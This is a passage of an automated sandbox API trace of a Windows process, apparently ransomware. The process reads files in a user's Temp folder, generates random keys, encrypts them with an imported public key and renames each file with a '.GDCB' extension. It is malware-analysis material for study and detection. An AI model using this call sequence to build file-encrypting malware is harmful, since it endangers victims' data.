Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xfno_bfgg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.629] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.630] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.631] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x15490, lpOverlapped=0x0) returned 1 [0176.635] VirtualAlloc (lpAddress=0x0, dwSize=0x15490, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.641] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xfno_bfgg.m4a"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xfno_bfgg.m4a.gdcb")) returned 1 [0176.647] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.649] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.649] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.649] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.650] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.650] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.650] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.650] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.650] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.652] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36554d8) returned 1 [0176.652] CryptGetKeyParam (in: hKey=0x36554d8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.652] CryptEncrypt (in: hKey=0x36554d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.653] GetLastError () returned 0x0 [0176.653] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.653] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0176.654] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x35db4d0) returned 1 [0176.655] CryptGetKeyParam (in: hKey=0x35db4d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.655] CryptEncrypt (in: hKey=0x35db4d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.655] GetLastError () returned 0x0 [0176.655] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.655] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xpaz2bfwzjmuix.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.657] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.658] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.658] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x15809, lpOverlapped=0x0) returned 1 [0176.663] VirtualAlloc (lpAddress=0x0, dwSize=0x15810, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.668] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xpaz2bfwzjmuix.mkv"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xpaz2bfwzjmuix.mkv.gdcb")) returned 1 [0176.680] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.681] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.682] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.682] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.682] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.683] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.684] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.684] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0176.686] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x617b68) returned 1 [0176.686] CryptGetKeyParam (in: hKey=0x617b68, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.686] CryptEncrypt (in: hKey=0x617b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.686] GetLastError () returned 0x0 [0176.686] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0176.686] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.688] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x35e68f8) returned 1 [0176.688] CryptGetKeyParam (in: hKey=0x35e68f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.688] CryptEncrypt (in: hKey=0x35e68f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.688] GetLastError () returned 0x0 [0176.688] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.688] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y5q_isg1aafgs9oxw7.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.690] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.691] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.692] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0xa9db, lpOverlapped=0x0) returned 1 [0176.696] VirtualAlloc (lpAddress=0x0, dwSize=0xa9e0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.701] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y5q_isg1aafgs9oxw7.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y5q_isg1aafgs9oxw7.gif.gdcb")) returned 1 [0176.705] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.707] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.707] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.707] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.707] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.707] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0176.708] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.709] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.709] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.709] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.709] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.711] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690508) returned 1 [0176.711] CryptGetKeyParam (in: hKey=0x3690508, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.711] CryptEncrypt (in: hKey=0x3690508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.711] GetLastError () returned 0x0 [0176.711] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.711] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.713] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690008) returned 1 [0176.713] CryptGetKeyParam (in: hKey=0x3690008, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.713] CryptEncrypt (in: hKey=0x3690008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.713] GetLastError () returned 0x0 [0176.713] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.714] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yryrd_trbhdmgd-z.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.715] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.717] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.718] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0xe085, lpOverlapped=0x0) returned 1 [0176.722] VirtualAlloc (lpAddress=0x0, dwSize=0xe090, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.727] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yryrd_trbhdmgd-z.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yryrd_trbhdmgd-z.png.gdcb")) returned 1 [0176.732] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.733] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.734] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.734] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.734] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.734] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.735] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.736] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.736] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.736] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.736] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0176.738] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690108) returned 1 [0176.738] CryptGetKeyParam (in: hKey=0x3690108, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.738] CryptEncrypt (in: hKey=0x3690108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.738] GetLastError () returned 0x0 [0176.738] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.738] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.740] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690048) returned 1 [0176.740] CryptGetKeyParam (in: hKey=0x3690048, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.740] CryptEncrypt (in: hKey=0x3690048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.741] GetLastError () returned 0x0 [0176.741] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.741] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yx5uqjjrwszf5k.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.743] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.744] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.744] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x6f02, lpOverlapped=0x0) returned 1 [0176.749] VirtualAlloc (lpAddress=0x0, dwSize=0x6f10, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.754] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yx5uqjjrwszf5k.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YX5UQJjrwszF5k.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yx5uqjjrwszf5k.png.gdcb")) returned 1 [0176.757] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.758] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.759] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.759] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.759] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.759] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.760] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.760] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.760] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.760] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.760] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0176.762] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x368ff48) returned 1 [0176.762] CryptGetKeyParam (in: hKey=0x368ff48, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.762] CryptEncrypt (in: hKey=0x368ff48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.763] GetLastError () returned 0x0 [0176.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.763] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0176.765] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x368fe08) returned 1 [0176.765] CryptGetKeyParam (in: hKey=0x368fe08, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.765] CryptEncrypt (in: hKey=0x368fe08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.765] GetLastError () returned 0x0 [0176.765] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0176.765] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0176.767] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0176.768] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.769] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0176.769] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.769] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0176.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.771] GetProcAddress 